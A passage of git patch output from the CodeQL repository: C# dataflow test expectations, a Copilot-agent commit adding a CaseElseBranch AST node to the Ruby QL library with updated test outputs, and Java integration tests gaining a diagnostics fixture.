variable obj : Object | provenance | | | ExternalFlow.cs:437:23:437:34 | object creation of type Object : Object | ExternalFlow.cs:437:17:437:19 | access to local variable obj : Object | provenance | | | ExternalFlow.cs:438:49:438:49 | [post] access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | ExternalFlow.cs:439:58:439:58 | access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | provenance | | -| ExternalFlow.cs:438:52:438:54 | access to local variable obj : Object | ExternalFlow.cs:438:49:438:49 | [post] access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | provenance | MaD:41 | +| ExternalFlow.cs:438:52:438:54 | access to local variable obj : Object | ExternalFlow.cs:438:49:438:49 | [post] access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | provenance | MaD:43 | | ExternalFlow.cs:439:17:439:18 | access to local variable o1 : Object | ExternalFlow.cs:440:18:440:19 | access to local variable o1 | provenance | | | ExternalFlow.cs:439:22:439:59 | call to extension accessor get_GenericProperty1 : Object | ExternalFlow.cs:439:17:439:18 | access to local variable o1 : Object | provenance | | -| ExternalFlow.cs:439:58:439:58 | access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | ExternalFlow.cs:439:22:439:59 | call to extension accessor get_GenericProperty1 : Object | provenance | MaD:40 | +| ExternalFlow.cs:439:58:439:58 | access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | ExternalFlow.cs:439:22:439:59 | call to extension accessor get_GenericProperty1 : Object | provenance | MaD:42 | +| ExternalFlow.cs:455:17:455:18 | access to local variable n0 : N | ExternalFlow.cs:456:18:456:19 | access to local variable n0 : N | provenance | | +| ExternalFlow.cs:455:22:455:28 | object creation of type N : N | ExternalFlow.cs:455:17:455:18 | access to local variable n0 : N | provenance | | +| ExternalFlow.cs:456:13:456:13 | [post] access to parameter n : N | ExternalFlow.cs:457:18:457:18 | access to parameter n | provenance | | +| ExternalFlow.cs:456:18:456:19 | access to local variable n0 : N | ExternalFlow.cs:456:13:456:13 | [post] access to parameter n : N | provenance | MaD:34 | +| ExternalFlow.cs:462:17:462:18 | access to local variable n0 : N | ExternalFlow.cs:465:22:465:23 | access to local variable n0 : N | provenance | | +| ExternalFlow.cs:462:22:462:28 | object creation of type N : N | ExternalFlow.cs:462:17:462:18 | access to local variable n0 : N | provenance | | +| ExternalFlow.cs:465:17:465:17 | [post] access to parameter n : N | ExternalFlow.cs:467:18:467:18 | access to parameter n | provenance | | +| ExternalFlow.cs:465:22:465:23 | access to local variable n0 : N | ExternalFlow.cs:465:17:465:17 | [post] access to parameter n : N | provenance | MaD:35 | nodes | ExternalFlow.cs:9:20:9:23 | access to local variable arg1 : Object | semmle.label | access to local variable arg1 : Object | | ExternalFlow.cs:9:27:9:38 | object creation of type Object : Object | semmle.label | object creation of type Object : Object | @@ -443,6 +453,16 @@ nodes | ExternalFlow.cs:439:22:439:59 | call to extension accessor get_GenericProperty1 : Object | semmle.label | call to extension accessor get_GenericProperty1 : Object | | ExternalFlow.cs:439:58:439:58 | access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | semmle.label | access to parameter o : Object [synthetic TestExtensions.GenericProperty1] : Object | | ExternalFlow.cs:440:18:440:19 | access to local variable o1 | semmle.label | access to local variable o1 | +| ExternalFlow.cs:455:17:455:18 | access to local variable n0 : N | semmle.label | access to local variable n0 : N | +| ExternalFlow.cs:455:22:455:28 | object creation of type N : N | semmle.label | object creation of type N : N | +| ExternalFlow.cs:456:13:456:13 | [post] access to parameter n : N | semmle.label | [post] access to parameter n : N | +| ExternalFlow.cs:456:18:456:19 | access to local variable n0 : N | semmle.label | access to local variable n0 : N | +| ExternalFlow.cs:457:18:457:18 | access to parameter n | semmle.label | access to parameter n | +| ExternalFlow.cs:462:17:462:18 | access to local variable n0 : N | semmle.label | access to local variable n0 : N | +| ExternalFlow.cs:462:22:462:28 | object creation of type N : N | semmle.label | object creation of type N : N | +| ExternalFlow.cs:465:17:465:17 | [post] access to parameter n : N | semmle.label | [post] access to parameter n : N | +| ExternalFlow.cs:465:22:465:23 | access to local variable n0 : N | semmle.label | access to local variable n0 : N | +| ExternalFlow.cs:467:18:467:18 | access to parameter n | semmle.label | access to parameter n | subpaths | ExternalFlow.cs:84:29:84:32 | access to local variable objs : null [element] : Object | ExternalFlow.cs:84:35:84:35 | o : Object | ExternalFlow.cs:84:40:84:40 | access to parameter o : Object | ExternalFlow.cs:84:25:84:41 | call to method Map : T[] [element] : Object | invalidModelRow @@ -489,3 +509,5 @@ invalidModelRow | ExternalFlow.cs:424:18:424:19 | access to local variable o2 | ExternalFlow.cs:419:23:419:34 | object creation of type Object : Object | ExternalFlow.cs:424:18:424:19 | access to local variable o2 | $@ | ExternalFlow.cs:419:23:419:34 | object creation of type Object : Object | object creation of type Object : Object | | ExternalFlow.cs:432:18:432:19 | access to local variable o1 | ExternalFlow.cs:429:23:429:34 | object creation of type Object : Object | ExternalFlow.cs:432:18:432:19 | access to local variable o1 | $@ | ExternalFlow.cs:429:23:429:34 | object creation of type Object : Object | object creation of type Object : Object | | ExternalFlow.cs:440:18:440:19 | access to local variable o1 | ExternalFlow.cs:437:23:437:34 | object creation of type Object : Object | ExternalFlow.cs:440:18:440:19 | access to local variable o1 | $@ | ExternalFlow.cs:437:23:437:34 | object creation of type Object : Object | object creation of type Object : Object | +| ExternalFlow.cs:457:18:457:18 | access to parameter n | ExternalFlow.cs:455:22:455:28 | object creation of type N : N | ExternalFlow.cs:457:18:457:18 | access to parameter n | $@ | ExternalFlow.cs:455:22:455:28 | object creation of type N : N | object creation of type N : N | +| ExternalFlow.cs:467:18:467:18 | access to parameter n | ExternalFlow.cs:462:22:462:28 | object creation of type N : N | ExternalFlow.cs:467:18:467:18 | access to parameter n | $@ | ExternalFlow.cs:462:22:462:28 | object creation of type N : N | object creation of type N : N | diff --git a/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.ext.yml b/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.ext.yml index 21e66b84066..9fe50b16354 100644 --- a/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.ext.yml +++ b/csharp/ql/test/library-tests/dataflow/external-models/ExternalFlow.ext.yml @@ -53,6 +53,8 @@ extensions: - ["My.Qltest", "TestExtensions+extension(T)", false, "GenericStaticMethod1", "(T)", "", "Argument[0]", "ReturnValue", "value", "manual"] - ["My.Qltest", "TestExtensions+extension(T)", false, "get_GenericProperty1", "(T)", "", "Argument[0].SyntheticField[TestExtensions.GenericProperty1]", "ReturnValue", "value", "manual"] - ["My.Qltest", "TestExtensions+extension(T)", false, "set_GenericProperty1", "(T,T)", "", "Argument[1]", "Argument[0].SyntheticField[TestExtensions.GenericProperty1]", "value", "manual"] + - ["My.Qltest", "N", false, "op_AdditionAssignment", "(My.Qltest.N)", "", "Argument[0]", "Argument[this]", "taint", "manual"] + - ["My.Qltest", "N", false, "op_CheckedAdditionAssignment", "(My.Qltest.N)", "", "Argument[0]", "Argument[this]", "taint", "manual"] - addsTo: pack: codeql/csharp-all From 8cb4b9b118cbbb80701b4864faf892c8c2d4e610 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Mon, 15 Jun 2026 11:42:13 +0000 Subject: [PATCH 124/143] Add CaseElseBranch AST node for Ruby case else branches --- .../2026-06-15-case-else-branch.md | 4 ++ ruby/ql/lib/codeql/ruby/ast/Control.qll | 30 +++++++- ruby/ql/lib/codeql/ruby/ast/internal/AST.qll | 24 ++++--- .../lib/codeql/ruby/ast/internal/Control.qll | 16 ++++- .../codeql/ruby/ast/internal/Synthesis.qll | 69 ++++++++++++++++++- .../internal/ControlFlowGraphImpl.qll | 10 +++ .../library-tests/ast/control/CaseExpr.ql | 2 +- 7 files changed, 138 insertions(+), 17 deletions(-) create mode 100644 ruby/ql/lib/change-notes/2026-06-15-case-else-branch.md diff --git a/ruby/ql/lib/change-notes/2026-06-15-case-else-branch.md b/ruby/ql/lib/change-notes/2026-06-15-case-else-branch.md new file mode 100644 index 00000000000..a927f1e2c28 --- /dev/null +++ b/ruby/ql/lib/change-notes/2026-06-15-case-else-branch.md @@ -0,0 +1,4 @@ +--- +category: breaking +--- +* The `else` branch of a `case` expression is no longer represented as a `StmtSequence` directly. Instead, a new `CaseElseBranch` AST node wraps the body (a `StmtSequence`). `CaseExpr.getElseBranch()` now returns a `CaseElseBranch`, and the body of the else branch can be accessed via `CaseElseBranch.getBody()`. diff --git a/ruby/ql/lib/codeql/ruby/ast/Control.qll b/ruby/ql/lib/codeql/ruby/ast/Control.qll index 5d83e7a62fd..cf7920968c8 100644 --- a/ruby/ql/lib/codeql/ruby/ast/Control.qll +++ b/ruby/ql/lib/codeql/ruby/ast/Control.qll @@ -377,18 +377,18 @@ class CaseExpr extends ControlExpr instanceof CaseExprImpl { /** * Gets the `n`th branch of this case expression, either a `WhenClause`, an - * `InClause`, or a `StmtSequence`. + * `InClause`, or a `CaseElseBranch`. */ final AstNode getBranch(int n) { result = super.getBranch(n) } /** * Gets a branch of this case expression, either a `WhenClause`, an - * `InClause`, or a `StmtSequence`. + * `InClause`, or a `CaseElseBranch`. */ final AstNode getABranch() { result = this.getBranch(_) } /** Gets the `else` branch of this case expression, if any. */ - final StmtSequence getElseBranch() { result = this.getABranch() } + final CaseElseBranch getElseBranch() { result = this.getABranch() } /** * Gets the number of branches of this case expression. @@ -533,6 +533,30 @@ class InClause extends AstNode instanceof InClauseImpl { } } +/** + * An `else` branch of a `case` expression. + * ```rb + * case foo + * when 1 then puts "one" + * else puts "other" + * end + * ``` + */ +class CaseElseBranch extends AstNode instanceof CaseElseBranchImpl { + final override string getAPrimaryQlClass() { result = "CaseElseBranch" } + + /** Gets the body of this else branch. */ + final Stmt getBody() { result = super.getBody() } + + final override string toString() { result = "else ..." } + + final override AstNode getAChild(string pred) { + result = AstNode.super.getAChild(pred) + or + pred = "getBody" and result = this.getBody() + } +} + /** * A one-line pattern match using the `=>` operator. For example: * ```rb diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/AST.qll b/ruby/ql/lib/codeql/ruby/ast/internal/AST.qll index 17d4a6bb8b6..4b3535c490d 100644 --- a/ruby/ql/lib/codeql/ruby/ast/internal/AST.qll +++ b/ruby/ql/lib/codeql/ruby/ast/internal/AST.qll @@ -113,6 +113,9 @@ private module Cached { TBraceBlockSynth(Ast::AstNode parent, int i) { mkSynthChild(BraceBlockKind(), parent, i) } or TBraceBlockReal(Ruby::Block g) { not g.getParent() instanceof Ruby::Lambda } or TBreakStmt(Ruby::Break g) or + TCaseElseBranchSynth(Ast::AstNode parent, int i) { + mkSynthChild(CaseElseBranchKind(), parent, i) + } or TCaseEqExpr(Ruby::Binary g) { g instanceof @ruby_binary_equalequalequal } or TCaseExpr(Ruby::Case g) or TCaseMatchReal(Ruby::CaseMatch g) or @@ -400,14 +403,15 @@ private module Cached { class TAstNodeSynth = TAddExprSynth or TAssignExprSynth or TBitwiseAndExprSynth or TBitwiseOrExprSynth or TBitwiseXorExprSynth or TBraceBlockSynth or TBodyStmtSynth or TBooleanLiteralSynth or - TCaseMatchSynth or TClassVariableAccessSynth or TConstantReadAccessSynth or - TConstantWriteAccessSynth or TDivExprSynth or TElseSynth or TExponentExprSynth or - TGlobalVariableAccessSynth or TIfSynth or TInClauseSynth or TInstanceVariableAccessSynth or - TIntegerLiteralSynth or TLShiftExprSynth or TLocalVariableAccessSynth or - TLogicalAndExprSynth or TLogicalOrExprSynth or TMethodCallSynth or TModuloExprSynth or - TMulExprSynth or TNilLiteralSynth or TRShiftExprSynth or TRangeLiteralSynth or TSelfSynth or - TSimpleParameterSynth or TSplatExprSynth or THashSplatExprSynth or TStmtSequenceSynth or - TSubExprSynth or TPairSynth or TSimpleSymbolLiteralSynth; + TCaseElseBranchSynth or TCaseMatchSynth or TClassVariableAccessSynth or + TConstantReadAccessSynth or TConstantWriteAccessSynth or TDivExprSynth or TElseSynth or + TExponentExprSynth or TGlobalVariableAccessSynth or TIfSynth or TInClauseSynth or + TInstanceVariableAccessSynth or TIntegerLiteralSynth or TLShiftExprSynth or + TLocalVariableAccessSynth or TLogicalAndExprSynth or TLogicalOrExprSynth or + TMethodCallSynth or TModuloExprSynth or TMulExprSynth or TNilLiteralSynth or + TRShiftExprSynth or TRangeLiteralSynth or TSelfSynth or TSimpleParameterSynth or + TSplatExprSynth or THashSplatExprSynth or TStmtSequenceSynth or TSubExprSynth or + TPairSynth or TSimpleSymbolLiteralSynth; /** * Gets the underlying TreeSitter entity for a given AST node. This does not @@ -598,6 +602,8 @@ private module Cached { or result = TBraceBlockSynth(parent, i) or + result = TCaseElseBranchSynth(parent, i) + or result = TCaseMatchSynth(parent, i) or result = TClassVariableAccessSynth(parent, i, _) @@ -718,6 +724,8 @@ TAstNodeReal fromGenerated(Ruby::AstNode n) { n = toGenerated(result) } class TCall = TMethodCall or TYieldCall; +class TCaseElseBranch = TCaseElseBranchSynth; + class TCaseMatch = TCaseMatchReal or TCaseMatchSynth; class TCase = TCaseExpr or TCaseMatch; diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/Control.qll b/ruby/ql/lib/codeql/ruby/ast/internal/Control.qll index dd57a0d197d..095fb85de6f 100644 --- a/ruby/ql/lib/codeql/ruby/ast/internal/Control.qll +++ b/ruby/ql/lib/codeql/ruby/ast/internal/Control.qll @@ -19,8 +19,11 @@ class CaseWhenClause extends CaseExprImpl, TCaseExpr { final override Expr getValue() { toGenerated(result) = g.getValue() } final override AstNode getBranch(int n) { - toGenerated(result) = g.getChild(n) or - toGenerated(result) = g.getChild(n) + // When branches map directly to WhenClause nodes + toGenerated(result) = g.getChild(n) and not g.getChild(n) instanceof Ruby::Else + or + // The else branch is wrapped in a synthesized CaseElseBranch node + g.getChild(n) instanceof Ruby::Else and result = getSynthChild(this, n) } } @@ -34,7 +37,8 @@ class CaseMatch extends CaseExprImpl, TCaseMatchReal { final override AstNode getBranch(int n) { toGenerated(result) = g.getClauses(n) or - n = count(g.getClauses(_)) and toGenerated(result) = g.getElse() + // The else branch is wrapped in a synthesized CaseElseBranch node + n = count(g.getClauses(_)) and exists(g.getElse()) and result = getSynthChild(this, n) } } @@ -87,3 +91,9 @@ class InClauseSynth extends InClauseImpl, TInClauseSynth { final override predicate hasUnlessCondition() { none() } } + +class CaseElseBranchImpl extends AstNode, TCaseElseBranch { + CaseElseBranchImpl() { this = TCaseElseBranchSynth(_, _) } + + final Stmt getBody() { synthChild(this, 0, result) } +} diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/Synthesis.qll b/ruby/ql/lib/codeql/ruby/ast/internal/Synthesis.qll index ca40a4160d2..081cbd01a38 100644 --- a/ruby/ql/lib/codeql/ruby/ast/internal/Synthesis.qll +++ b/ruby/ql/lib/codeql/ruby/ast/internal/Synthesis.qll @@ -22,6 +22,7 @@ newtype TSynthKind = BodyStmtKind() or BooleanLiteralKind(boolean value) { value = true or value = false } or BraceBlockKind() or + CaseElseBranchKind() or CaseMatchKind() or ClassVariableAccessKind(ClassVariable v) or DefinedExprKind() or @@ -80,6 +81,8 @@ class SynthKind extends TSynthKind { or this = BraceBlockKind() and result = "BraceBlockKind" or + this = CaseElseBranchKind() and result = "CaseElseBranchKind" + or this = CaseMatchKind() and result = "CaseMatchKind" or this = ClassVariableAccessKind(_) and result = "ClassVariableAccessKind" @@ -1840,7 +1843,7 @@ private module TestPatternDesugar { or child = SynthChild(InClauseKind()) and i = 1 or - child = SynthChild(ElseKind()) and i = 2 + child = SynthChild(CaseElseBranchKind()) and i = 2 ) or parent = TInClauseSynth(case, 1) and @@ -1851,7 +1854,11 @@ private module TestPatternDesugar { child = SynthChild(BooleanLiteralKind(true)) and i = 1 ) or - parent = TElseSynth(case, 2) and + parent = TCaseElseBranchSynth(case, 2) and + child = SynthChild(ElseKind()) and + i = 0 + or + parent = TElseSynth(TCaseElseBranchSynth(case, 2), 0) and child = SynthChild(BooleanLiteralKind(false)) and i = 0 ) @@ -1994,3 +2001,61 @@ private module CallableBodySynthesis { } } } + +private module CaseElseBranchSynthesis { + pragma[nomagic] + private predicate caseElseBranchSynthesis(AstNode parent, int i, Child child) { + // Wrap the else branch of a real `case`/`when` expression + exists(Ruby::Case g, Ruby::Else elseNode, int elseIndex | + elseNode = g.getChild(elseIndex) and + ( + // Create the CaseElseBranch wrapper node at the else index + parent = TCaseExpr(g) and + child = SynthChild(CaseElseBranchKind()) and + i = elseIndex + or + // The body of the CaseElseBranch is the Else node + parent = TCaseElseBranchSynth(TCaseExpr(g), elseIndex) and + child = RealChildRef(TElseReal(elseNode)) and + i = 0 + ) + ) + or + // Wrap the else branch of a real `case`/`in` expression + exists(Ruby::CaseMatch g, Ruby::Else elseNode, int elseIndex | + elseNode = g.getElse() and + elseIndex = count(g.getClauses(_)) and + ( + // Create the CaseElseBranch wrapper node at the else index + parent = TCaseMatchReal(g) and + child = SynthChild(CaseElseBranchKind()) and + i = elseIndex + or + // The body of the CaseElseBranch is the Else node + parent = TCaseElseBranchSynth(TCaseMatchReal(g), elseIndex) and + child = RealChildRef(TElseReal(elseNode)) and + i = 0 + ) + ) + } + + private class CaseElseBranchSynthesisImpl extends Synthesis { + final override predicate child(AstNode parent, int i, Child child) { + caseElseBranchSynthesis(parent, i, child) + } + + final override predicate location(AstNode n, Location l) { + // Give the CaseElseBranch the location of the underlying Else node + exists(Ruby::Case g, int elseIndex | + n = TCaseElseBranchSynth(TCaseExpr(g), elseIndex) and + l = g.getChild(elseIndex).getLocation() + ) + or + exists(Ruby::CaseMatch g, int elseIndex | + elseIndex = count(g.getClauses(_)) and + n = TCaseElseBranchSynth(TCaseMatchReal(g), elseIndex) and + l = g.getElse().getLocation() + ) + } + } +} diff --git a/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImpl.qll b/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImpl.qll index 9658c51d673..e66e8bad003 100644 --- a/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImpl.qll +++ b/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImpl.qll @@ -498,6 +498,16 @@ module Trees { } } + private class CaseElseBranchTree extends ControlFlowTree instanceof CaseElseBranch { + final override predicate propagatesAbnormal(AstNode child) { child = super.getBody() } + + final override predicate first(AstNode first) { first(super.getBody(), first) } + + final override predicate last(AstNode last, Completion c) { last(super.getBody(), last, c) } + + final override predicate succ(AstNode pred, AstNode succ, Completion c) { none() } + } + private class PatternVariableAccessTree extends LocalVariableAccessTree instanceof LocalVariableWriteAccess, CasePattern { diff --git a/ruby/ql/test/library-tests/ast/control/CaseExpr.ql b/ruby/ql/test/library-tests/ast/control/CaseExpr.ql index 09a64e767e7..f03bdd1e534 100644 --- a/ruby/ql/test/library-tests/ast/control/CaseExpr.ql +++ b/ruby/ql/test/library-tests/ast/control/CaseExpr.ql @@ -4,7 +4,7 @@ query predicate caseValues(CaseExpr c, Expr value) { value = c.getValue() } query predicate caseNoValues(CaseExpr c) { not exists(c.getValue()) } -query predicate caseElseBranches(CaseExpr c, StmtSequence elseBranch) { +query predicate caseElseBranches(CaseExpr c, CaseElseBranch elseBranch) { elseBranch = c.getElseBranch() } From f658bc9b396467d5b1aed37e19c67580782ce5fa Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Mon, 15 Jun 2026 12:11:22 +0000 Subject: [PATCH 125/143] Update expected files for CaseElseBranch AST node change --- ruby/ql/test/library-tests/ast/Ast.expected | 15 +++++++++------ .../ql/test/library-tests/ast/AstDesugar.expected | 5 +++-- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/ruby/ql/test/library-tests/ast/Ast.expected b/ruby/ql/test/library-tests/ast/Ast.expected index c391b7f584d..da0a58f5d7d 100644 --- a/ruby/ql/test/library-tests/ast/Ast.expected +++ b/ruby/ql/test/library-tests/ast/Ast.expected @@ -815,8 +815,9 @@ control/cases.rb: # 11| getPattern: [LocalVariableAccess] d # 11| getBody: [StmtSequence] then ... # 12| getStmt: [IntegerLiteral] 200 -# 13| getBranch/getElseBranch: [StmtSequence] else ... -# 14| getStmt: [IntegerLiteral] 300 +# 13| getBranch/getElseBranch: [CaseElseBranch] else ... +# 13| getBody: [StmtSequence] else ... +# 14| getStmt: [IntegerLiteral] 300 # 18| getStmt: [CaseExpr] case ... # 19| getBranch: [WhenClause] when ... # 19| getPattern: [GTExpr] ... > ... @@ -843,8 +844,9 @@ control/cases.rb: # 27| getPattern: [IntegerLiteral] 5 # 27| getBody: [StmtSequence] then ... # 27| getStmt: [BooleanLiteral] true -# 28| getBranch/getElseBranch: [StmtSequence] else ... -# 28| getStmt: [BooleanLiteral] false +# 28| getBranch/getElseBranch: [CaseElseBranch] else ... +# 28| getBody: [StmtSequence] else ... +# 28| getStmt: [BooleanLiteral] false # 31| getStmt: [CaseExpr] case ... # 31| getValue: [MethodCall] call to expr # 31| getReceiver: [SelfVariableAccess] self @@ -862,8 +864,9 @@ control/cases.rb: # 34| getAnOperand/getArgument/getGreaterOperand/getRightOperand: [IntegerLiteral] 0 # 34| getBody: [StmtSequence] then ... # 35| getStmt: [BooleanLiteral] true -# 36| getBranch/getElseBranch: [StmtSequence] else ... -# 36| getStmt: [BooleanLiteral] false +# 36| getBranch/getElseBranch: [CaseElseBranch] else ... +# 36| getBody: [StmtSequence] else ... +# 36| getStmt: [BooleanLiteral] false # 39| getStmt: [CaseExpr] case ... # 39| getValue: [MethodCall] call to expr # 39| getReceiver: [SelfVariableAccess] self diff --git a/ruby/ql/test/library-tests/ast/AstDesugar.expected b/ruby/ql/test/library-tests/ast/AstDesugar.expected index 40594888db1..bd350dc0070 100644 --- a/ruby/ql/test/library-tests/ast/AstDesugar.expected +++ b/ruby/ql/test/library-tests/ast/AstDesugar.expected @@ -389,8 +389,9 @@ control/cases.rb: # 160| getPrefixElement: [IntegerLiteral] 1 # 160| getPrefixElement: [IntegerLiteral] 2 # 160| getBody: [BooleanLiteral] true -# 160| getBranch/getElseBranch: [StmtSequence] else ... -# 160| getStmt: [BooleanLiteral] false +# 160| getBranch/getElseBranch: [CaseElseBranch] else ... +# 160| getBody: [StmtSequence] else ... +# 160| getStmt: [BooleanLiteral] false # 162| [MatchPattern] ... => ... # 162| getDesugared: [CaseExpr] case ... # 162| getValue: [MethodCall] call to expr From b9b15af308e50bd48c841e46727e50df68aaddeb Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Mon, 15 Jun 2026 14:51:52 +0200 Subject: [PATCH 126/143] Java: Use fixture for filtering diagnostics --- java/ql/integration-tests/java/buildless-erroneous/test.py | 2 +- java/ql/integration-tests/java/buildless-gradle-boms/test.py | 2 +- .../integration-tests/java/buildless-gradle-classifiers/test.py | 2 +- java/ql/integration-tests/java/buildless-gradle-timeout/test.py | 2 +- java/ql/integration-tests/java/buildless-gradle/test.py | 2 +- .../java/buildless-inherit-trust-store/test.py | 2 +- .../java/buildless-maven-executable-war/test.py | 2 +- .../java/buildless-maven-existing-settings-xml/test.py | 2 +- java/ql/integration-tests/java/buildless-maven-mirrorof/test.py | 2 +- .../integration-tests/java/buildless-maven-multimodule/test.py | 2 +- java/ql/integration-tests/java/buildless-maven-timeout/test.py | 2 +- java/ql/integration-tests/java/buildless-maven/test.py | 2 +- java/ql/integration-tests/java/buildless-proxy-gradle/test.py | 2 +- java/ql/integration-tests/java/buildless-proxy-maven/test.py | 2 +- .../integration-tests/java/buildless-sibling-projects/test.py | 2 +- java/ql/integration-tests/java/buildless/test.py | 2 +- 16 files changed, 16 insertions(+), 16 deletions(-) diff --git a/java/ql/integration-tests/java/buildless-erroneous/test.py b/java/ql/integration-tests/java/buildless-erroneous/test.py index 834b1132cf1..aa78b3574f9 100644 --- a/java/ql/integration-tests/java/buildless-erroneous/test.py +++ b/java/ql/integration-tests/java/buildless-erroneous/test.py @@ -1,2 +1,2 @@ -def test(codeql, java): +def test(codeql, java, check_diagnostics_java): codeql.database.create(_env={"CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true"}) diff --git a/java/ql/integration-tests/java/buildless-gradle-boms/test.py b/java/ql/integration-tests/java/buildless-gradle-boms/test.py index bea3e5f552c..9611010179d 100644 --- a/java/ql/integration-tests/java/buildless-gradle-boms/test.py +++ b/java/ql/integration-tests/java/buildless-gradle-boms/test.py @@ -1,4 +1,4 @@ -def test(codeql, java, gradle_8_3): +def test(codeql, java, gradle_8_3, check_diagnostics_java): codeql.database.create( _env={ "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true", diff --git a/java/ql/integration-tests/java/buildless-gradle-classifiers/test.py b/java/ql/integration-tests/java/buildless-gradle-classifiers/test.py index bea3e5f552c..9611010179d 100644 --- a/java/ql/integration-tests/java/buildless-gradle-classifiers/test.py +++ b/java/ql/integration-tests/java/buildless-gradle-classifiers/test.py @@ -1,4 +1,4 @@ -def test(codeql, java, gradle_8_3): +def test(codeql, java, gradle_8_3, check_diagnostics_java): codeql.database.create( _env={ "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true", diff --git a/java/ql/integration-tests/java/buildless-gradle-timeout/test.py b/java/ql/integration-tests/java/buildless-gradle-timeout/test.py index b0e307f15bb..8fcd60479d5 100644 --- a/java/ql/integration-tests/java/buildless-gradle-timeout/test.py +++ b/java/ql/integration-tests/java/buildless-gradle-timeout/test.py @@ -1,4 +1,4 @@ -def test(codeql, java): +def test(codeql, java, check_diagnostics_java): # gradlew has been rigged to stall for a long time by trying to fetch from a black-hole IP. # We should find the timeout logic fires and buildless aborts the Gradle run quickly. codeql.database.create( diff --git a/java/ql/integration-tests/java/buildless-gradle/test.py b/java/ql/integration-tests/java/buildless-gradle/test.py index bea3e5f552c..9611010179d 100644 --- a/java/ql/integration-tests/java/buildless-gradle/test.py +++ b/java/ql/integration-tests/java/buildless-gradle/test.py @@ -1,4 +1,4 @@ -def test(codeql, java, gradle_8_3): +def test(codeql, java, gradle_8_3, check_diagnostics_java): codeql.database.create( _env={ "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true", diff --git a/java/ql/integration-tests/java/buildless-inherit-trust-store/test.py b/java/ql/integration-tests/java/buildless-inherit-trust-store/test.py index 93a527620e1..06855e43ba2 100644 --- a/java/ql/integration-tests/java/buildless-inherit-trust-store/test.py +++ b/java/ql/integration-tests/java/buildless-inherit-trust-store/test.py @@ -3,7 +3,7 @@ import os import runs_on -def test(codeql, java, cwd): +def test(codeql, java, cwd, check_diagnostics_java): # This serves the "repo" directory on https://locahost:4443 command = ["python3", "../server.py"] if runs_on.github_actions and runs_on.posix: diff --git a/java/ql/integration-tests/java/buildless-maven-executable-war/test.py b/java/ql/integration-tests/java/buildless-maven-executable-war/test.py index a92ac46584c..2a839a0c294 100644 --- a/java/ql/integration-tests/java/buildless-maven-executable-war/test.py +++ b/java/ql/integration-tests/java/buildless-maven-executable-war/test.py @@ -1,4 +1,4 @@ -def test(codeql, java): +def test(codeql, java, check_diagnostics_java): codeql.database.create( _env={ "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true", diff --git a/java/ql/integration-tests/java/buildless-maven-existing-settings-xml/test.py b/java/ql/integration-tests/java/buildless-maven-existing-settings-xml/test.py index fc10b066d0b..811ef3bb926 100644 --- a/java/ql/integration-tests/java/buildless-maven-existing-settings-xml/test.py +++ b/java/ql/integration-tests/java/buildless-maven-existing-settings-xml/test.py @@ -1,7 +1,7 @@ import os import os.path -def test(codeql, java): +def test(codeql, java, check_diagnostics_java): codeql.database.create(build_mode = "none", _env={ "_JAVA_OPTIONS": "-Duser.home=" + os.path.join(os.getcwd(), "home-dir-with-maven-settings") diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/test.py b/java/ql/integration-tests/java/buildless-maven-mirrorof/test.py index 9cae7b67553..c24417c1440 100644 --- a/java/ql/integration-tests/java/buildless-maven-mirrorof/test.py +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/test.py @@ -1,7 +1,7 @@ import os import os.path -def test(codeql, java): +def test(codeql, java, check_diagnostics_java): codeql.database.create(build_mode = "none", _env={ "_JAVA_OPTIONS": "-Duser.home=" + os.path.join(os.getcwd(), "empty-home"), diff --git a/java/ql/integration-tests/java/buildless-maven-multimodule/test.py b/java/ql/integration-tests/java/buildless-maven-multimodule/test.py index a92ac46584c..2a839a0c294 100644 --- a/java/ql/integration-tests/java/buildless-maven-multimodule/test.py +++ b/java/ql/integration-tests/java/buildless-maven-multimodule/test.py @@ -1,4 +1,4 @@ -def test(codeql, java): +def test(codeql, java, check_diagnostics_java): codeql.database.create( _env={ "CODEQL_EXTRACTOR_JAVA_OPTION_BUILDLESS": "true", diff --git a/java/ql/integration-tests/java/buildless-maven-timeout/test.py b/java/ql/integration-tests/java/buildless-maven-timeout/test.py index 2c70d7dd91a..7bf7e25357f 100644 --- a/java/ql/integration-tests/java/buildless-maven-timeout/test.py +++ b/java/ql/integration-tests/java/buildless-maven-timeout/test.py @@ -1,4 +1,4 @@ -def test(codeql, java): +def test(codeql, java, check_diagnostics_java): # mvnw has been rigged to stall for a long time by trying to fetch from a black-hole IP. We should find the timeout logic fires and buildless aborts the Maven run quickly. codeql.database.create( build_mode="none", diff --git a/java/ql/integration-tests/java/buildless-maven/test.py b/java/ql/integration-tests/java/buildless-maven/test.py index 958eddca2c7..2e49378d982 100644 --- a/java/ql/integration-tests/java/buildless-maven/test.py +++ b/java/ql/integration-tests/java/buildless-maven/test.py @@ -1,7 +1,7 @@ import os import os.path -def test(codeql, java): +def test(codeql, java, check_diagnostics_java): codeql.database.create(build_mode = 